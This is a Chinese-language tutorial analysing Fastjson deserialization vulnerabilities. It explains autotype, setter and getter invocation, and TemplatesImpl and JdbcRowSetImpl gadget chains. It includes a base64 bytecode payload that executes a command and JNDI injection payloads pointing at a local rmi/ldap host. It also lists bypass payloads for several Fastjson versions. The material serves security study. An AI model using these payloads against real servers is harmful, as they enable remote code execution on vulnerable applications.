概念
Fastjson是一个Java库,可以将Java对象转化为Json格式,也可以把Json字符串转化为Java对象
Fastjson可以操作任何java对象,即使是一些预先存在的没有源码的对象
他的关键方法就三个
将对象转换成JSON字符串JSON.toJSONString
将JSON字符串转换成对象 JSON.parse(String)
或者JSON.parseObject(String)
,JSON.parseObject(String, clazz)
差异分析看这里
写个测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package test;
public class Student { private String name; private int age;
public Student() { System.out.println("Construct Function"); }
public String getName() { System.out.println("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; }
public int getAge() { System.out.println("getAge"); return age; }
public void setAge(int age) throws Exception{ System.out.println("setAge"); this.age = age; } public void setAnz(int i){ System.out.println("setAnz"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package test;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;
public class test { public static void main(String[] args) throws Exception { Student student = new Student(); student.setAge(18); student.setName("dqqq"); System.out.println("===================="); String jsonString1 = JSON.toJSONString(student); System.out.println(jsonString1); System.out.println("===================="); String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(jsonString2); System.out.println("===================="); } }
|
JSON.toJSONString;
方法会将目标类中所有getter方法记录下来,然后通过反射去调用了所有的getter方法
这个SerializerFeature.WriteClassName
,设置的话就会加上@type
,用来指明类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Construct Function setAge setName ==================== getAge getName {"age":18,"name":"dqqq"} ==================== getAge getName {"@type":"test.Student","age":18,"name":"dqqq"} ====================
进程已结束,退出代码0
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package test;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;
public class test { public static void main(String[] args) throws Exception { String jsonString1 = "{\"age\":18,\"name\":\"dqqq\"}"; String jsonString2 = "{\"@type\":\"test.Student\",\"age\":18,\"name\":\"dqqq\"}";
System.out.println("==========wwwwwwww=========="); System.out.println(JSON.parse(jsonString1)); System.out.println("======================"); System.out.println(JSON.parse(jsonString2)); System.out.println("======================"); System.out.println(JSON.parseObject(jsonString1)); System.out.println("======================"); System.out.println(JSON.parseObject(jsonString2)); System.out.println("======================"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| ==========wwwwwwww========== {"name":"dqqq","age":18} ====================== Construct Function setAge setName test.Student@19e1023e ====================== {"name":"dqqq","age":18} ====================== Construct Function setAge setName getAge getName {"name":"dqqq","age":18} ======================
进程已结束,退出代码0
|
如果不带上@type
指明类名,是没法得到类对象的
如果指明了类名,使用parse
的时候,不仅会得到对象,还会调用这个对象的setter
,使用的是parseObject
的话,会得到对象且调用setter
,还会调用getter
发现parseObject
最后得到的还是JSON对象,parseObject
其实就是调用一次parse
,然后转换成JSONObject
1 2 3 4 5 6 7
| public static JSONObject parseObject(String text) { Object obj = parse(text); if (obj instanceof JSONObject) { return (JSONObject) obj; } return (JSONObject) JSON.toJSON(obj); }
|
这种利用@type
的机制也叫autotype
autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package test;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;
public class test { public static void main(String[] args) throws Exception {
String jsonString3 = "{\"@type\":\"test.Student\",\"age\":18,\"name\":\"dqqq\",\"anz\":\"2\"}";
System.out.println("======================"); System.out.println(JSON.parse(jsonString3)); System.out.println("======================"); System.out.println(JSON.parseObject(jsonString3)); System.out.println("======================");
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ====================== Construct Function setAge setName setAnz test.Student@136432db ====================== Construct Function setAge setName setAnz getAge getName {"name":"dqqq","age":18} ======================
进程已结束,退出代码0
|
我们没有设置anz属性但是JSON中有test键,那么parse的时候就会去找setAnz方法
类似于CB链的getOutputProperties
还有一个类似的特性,在某些特定条件下,序列化数据中如果存在T1键,而Student类只有getT1,没有setT1方法,那么在parse或者parseObject反序列化过程中也会调用到getT1方法
原因是在JavaBeanInfo.build()
方法中,程序将会创建一个fieldList数组来存放后续将要处理的目标类的 setter方法及某些特定条件的getter方法
1 2 3 4 5 6 7 8 9 10 11
| if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
}
fieldInfo = getField(fieldList, propertyName); if (fieldInfo == null) { if (propertyNamingStrategy != null) { propertyName = propertyNamingStrategy.translate(propertyName); } add(fieldList, new FieldInfo(propertyName, method, (Field)null, clazz, type, 0, 0, 0, annotation, (JSONField)null, (String)null)); }
|
总结一下就是满足以下几个条件的方法:
- 对应成员变量继承自Collection/AtomicBoolean/AtomicInteger/AtomicLong
- 对应成员变量没有setter方法
- get开头且第四个字母大写
- 为非静态方法,无参数传入
- 对应的成员变量为私有变量(如果是公有变量则会直接赋值)
TemplatesImpl
根据之前分析的CB链,只要调用到了TemplatesImpl.getOutputProperties()
方法,就可以实现任意代码执行
TemplatesImpl类中发现_outputProperties
成员变量完美地满足了我们的条件
1 2 3 4 5 6 7 8 9 10 11 12
| private Properties _outputProperties;
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
fastjson反序列化时,在JavaBeanDeserializer.parseField()
方法中使用了smartMatch()
这个方法来寻找对应的成员变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { JSONLexer lexer = parser.lexer; FieldDeserializer fieldDeserializer = smartMatch(key); return true; }
public FieldDeserializer smartMatch(String key) { if (fieldDeserializer == null) { snakeOrkebab = false; String key2 = null;
for(i = 0; i < key.length(); ++i) { char ch = key.charAt(i); if (ch == '_') { snakeOrkebab = true; key2 = key.replaceAll("_", ""); break; } if (ch == '-') { snakeOrkebab = true; key2 = key.replaceAll("-", ""); break; } } }
|
可以看到其会将成员变量中的-
,_
忽略掉,从而使得_outputProperties
能够和getOutputProperties()
方法对应
过程分析
Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)
在解析到了_OutputProperties
的时候设置值
得到了getOutputProperties方法
进入后面的if
invoke成功调用方法
由于private属性没有setter,这就导致了,要还原private属性的话,需要加上个Feature.SupportNonPublicField才可以
1
| JSON.parse(jsonString, Feature.SupportNonPublicField);
|
payload
1 2 3 4
| String jsonString2 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEADHRlc3QvcGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAALAAQADAANAA0ADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAARAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAWAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAAZAAgAGwAMAAAABAABABQAAQAVAAAAAgAW\"],\"_name\":\"feng\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(jsonString, Feature.SupportNonPublicField);
|
_bytecodes
中将字节码使用base64编码,这是因为fastjson会对byte类型的字段进行base64解码的缘故,这也方便了我们构造payload
_bytecode
中的字节码是一个构造好的class类,其static块中存在恶意代码,反编译后大致如下
1 2 3 4 5 6 7 8 9
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class EvilCat653882732714100 extends AbstractTranslet { static { Runtime.getRuntime().exec("notepad.exe"); } public EvilCat653882732714100() { } }
|
这个类只能在开启SupportNonPublicField特性的fastjson反序列化中使用,因为_bytecodes
,_tfactory
等属性都没有对应的setter
_tfactory
设置为{}
,这样fastjson会生成一个空对象,可以解决某些jdk版本中defineTransletClasses()
用到会引用_tfactory
属性导致异常退出的问题
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.4</version> </dependency> <dependency> <groupId>org.apache.directory.studio</groupId> <artifactId>org.apache.commons.codec</artifactId> <version>1.8</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
|
generate.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package test;
import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.*; import com.alibaba.fastjson.parser.ParserConfig; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException;
public class generate { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); }
public static void main(String args[]){ try { ParserConfig config = new ParserConfig(); final String evilClassPath = "D:\\javaanz\\test3\\fastjson\\src\\main\\java\\test\\payload.class"; String evilCode = readClass(evilClassPath); System.out.println(evilCode); } catch (Exception e) { e.printStackTrace(); } } }
|
payload.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException;
public class payload extends AbstractTranslet { public payload() throws IOException { Runtime.getRuntime().exec("calc"); }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
@Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception { payload t = new payload();
} }
|
test.java
1 2 3 4 5 6 7 8 9 10 11 12
| package test;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; public class test { public static void main(String[] args) throws Exception { String jsonString2 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEADHRlc3QvcGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAALAAQADAANAA0ADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAARAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAWAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAAZAAgAGwAMAAAABAABABQAAQAVAAAAAgAW\"],\"_name\":\"feng\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(jsonString2, Feature.SupportNonPublicField); } }
|
JdbcRowSetImpl
这个就比较简单了
关键点在于JdbcRowSetImpl类的setAutoCommit
方法和setDataSourceName
方法
1 2 3 4 5 6 7 8
| public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); } }
|
如果this.conn
为null的话,会进入this.connect()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } }
|
可以很清楚地看到下面两行是个JNDI注入点
1 2
| InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
|
那么需要让this.getDataSourceName()
可控
1 2 3
| public String getDataSourceName() { return dataSource; }
|
也就是要控制dataSource
属性,跟进setDataSourceName
super.setDataSourceName(var1);
1 2 3 4 5 6 7 8 9 10 11 12
| public void setDataSourceName(String name) throws SQLException {
if (name == null) { dataSource = null; } else if (name.equals("")) { throw new SQLException("DataSource name cannot be empty string"); } else { dataSource = name; }
URL = null; }
|
直接传进去
1
| {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/refObj\", \"autoCommit\":true}
|
1 2
| String jsonString1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/refObj\", \"autoCommit\":true}"; JSON.parse(jsonString1);
|
Bypass
Fastjson 1.2.25-1.2.41
需开启autoType
1 2 3 4 5
| { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://127.0.0.1:9999/refObj", "autoCommit": true }
|
Fastjson 1.2.25-1.2.43
1
| {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:9999/refObj","autoCommit":true}]}
|
Fastjson 反序列化漏洞分析 1.2.25-1.2.47 - Zh1z3ven - 博客园 (cnblogs.com)
1.2.25-1.2.42
1
| {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:9999/refObj", "autoCommit":true}
|
1.2.25-1.2.45
开启autoTyoe,需要目标服务端存在mybatis的jar包,且版本需为3.x.x-3.5.0的版本
1
| {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:9999/refObj"}
|
特殊版本段payload
1.2.25-1.2.32版本:不能开启AutoType
1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用
1 2 3 4 5 6 7 8 9 10 11
| { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:9999/refObj", "autoCommit":true } }
|